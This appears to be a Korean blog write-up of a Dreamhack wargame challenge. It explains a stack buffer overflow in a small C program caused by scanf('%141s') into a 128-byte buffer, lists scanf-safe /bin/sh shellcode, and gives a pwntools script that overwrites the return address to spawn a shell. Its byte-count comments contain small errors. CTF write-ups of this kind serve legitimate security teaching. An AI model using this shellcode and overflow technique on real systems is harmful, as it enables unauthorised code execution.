Iriton's log

[Dreamhack] Lv.2 : basic_exploitation_000 본문

Pwnable/Wargame

[Dreamhack] Lv.2 : basic_exploitation_000

Iriton 2024. 4. 12. 19:33

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

 

취약점 분석

a#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

참고 함수

setvbuf()

스트림 버퍼링 및 버퍼 크기를 제어하는 함수이다.

int setvbuf( FILE *stream, char *buffer, int mode, size_t size)

1. stream : 파일 구조체에 대한 포인터

2. buffer : 사용자가 할당한 버퍼

3. mode : 버퍼링 모드

  • _IOFBF : 전체 버퍼링. buffer를 버퍼로 사용하고 size를 버퍼 크기로 사용한다.
  • _IOLBF : 일부 시스템의 경우 줄 버퍼링을 제공
  • _IONBF : buffer 또는 size에 관계없이 버퍼가 사용되지 않는다. (즉시 입출력 되는 걸 의미한다.)

signal

시그널을 처리하기 위한 핸들러를 등록하는 함수이다. 해당 시그널이 발생하면 등록된 핸들러 함수를 호출한다.

void (*signal(int signum, void (*handler)(int)))(int);

1. signum : 등록하려는 시그널 종류를 나타내는 정수

2. handler : 시그널이 발생했을 떄 호출될 함수의 포인터

 

 

 

즉 이 코드는 30초 동안 사용자 입력이 없을 경우 TIME OUT 메세지를 출력하고 프로그램을 종료시킨다.

 

scanf 함수에서 입력 크기를 제한하기 위해 %141s를 사용하여 최대 141자까지 입력받지만

버퍼의 크기가 0x80으로 총 128바이트이다.  따라서 버퍼 오버플로우가 발생한다.

 

 

disassemble 기능을 이용하여 main 함수를 분석해 보면 오른쪽 사진과 같은 스택프레임 구조가 될 것이다.

push ebp : 이전 베이스 포인트를 저장

lea eax, [ebp-0x80] / push eax : 현재 베이스 포인트에서 0x80(128바이트)만큼 뺀 위치에 eax를 저장한다. -> buf 크기가 128바이트라는 뜻.  다음 scanf에서 eax주소부터 담게 됨. eax는 버퍼의 시작 주소를 의미하기 때문이다.

 

버퍼 시작 주소에서부터 리턴 주소까지 오염시키기 위해서는 136바이트의 값이 필요한데 입력할 수 있는 크기는 141바이트이기 때문에 버퍼 오버플로우가 가능하다.

 

해당 프로그램에는 우리가 쉘을 실행하기 위해 이용할 만한 함수가 없어서 쉘 코드를 buf에 주입한 뒤에

리턴 주소를 buf의 시작 주소로 주입하면 쉘 코드가 실행되면서 쉘을 실행시킬 수 있다.

 

따라서 "shellcode + dummy data(무의미한 값, NOP이나 AAA... 같은 것들)+buf 시작 주소"를 작성해야 한다.

또한 쉘 코드의 길이에 따라 dummy data 크기가 달라질 것이다.

 

 

Exploit

scanf() 함수에서의 shellcode 작성 시 주의할 점

 

scanf 함수는 공백, 탭, 개행문자 세 가지 중 하나라도 나오면 입력 버퍼에 있는 값을 가져오는 함수이다.

따라서 그에 해당하는 \x09, \x0a, \x0b, \x0c, \x0d, \x20 가 쉘코드에 들어가면 그 뒤에 있는 값들이 무해화 되기 때문에 우회할 수 있는 쉘코드를 작성해야 한다.

 

아래 링크를 참고하면 우회 shellcode가 있다.

 

 

Shellcode(쉘코드) 모음

32bit shellcode 6 Bytes Shell Code \x31\xc0\xb0\x01\xcd\x80 25 Bytes Shell Code (기본 쉘코드) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 쉘코드) \x31\xc0\x5

hackhijack64.tistory.com

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 (25바이트)

 

code

from pwn import *

# 서버와 연결
p = remote("host3.dreamhack.games", 8490)

# buf = ( 가 입력될 때까지 서버에서부터 문자를 받는다.
p.recvuntil('buf = (')

# recv(10): 10만큼 입력을 받는다. buf에 입력 받은 값을 16바이트 형태 정수로 저장.
buf = int(p.recv(10),16)

# 쉘코드(25) + 더미데이터(106) + 버퍼 시작 주소(10) = 141바이트 가 되도록 페이로드 작성
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b'a'* 106
payload += p32(buf)

# 페이로드를 서버에 전송
p.sendline(payload)

# 이제부터 사용자와 서버의 상호작용(쉘 코드 얻었으니 우리가 하고 싶은 동작 실행하면 됨)
p.interactive()

 

 

 

exploit 성공

'Pwnable > Wargame' 카테고리의 다른 글

[Dreamhack] Lv.2 : ssp_001  (0) 2024.05.15
[Dreamhack] Lv.1 : basic_exploitation_001  (1) 2024.05.07
[Dreamhack] Lv.1 : Return Address Overwrite  (0) 2024.04.10
[Dreamhack] Beginner: welcome  (0) 2024.04.02
[Dreamhack] Beginner: shell_basic  (0) 2024.04.01
Comments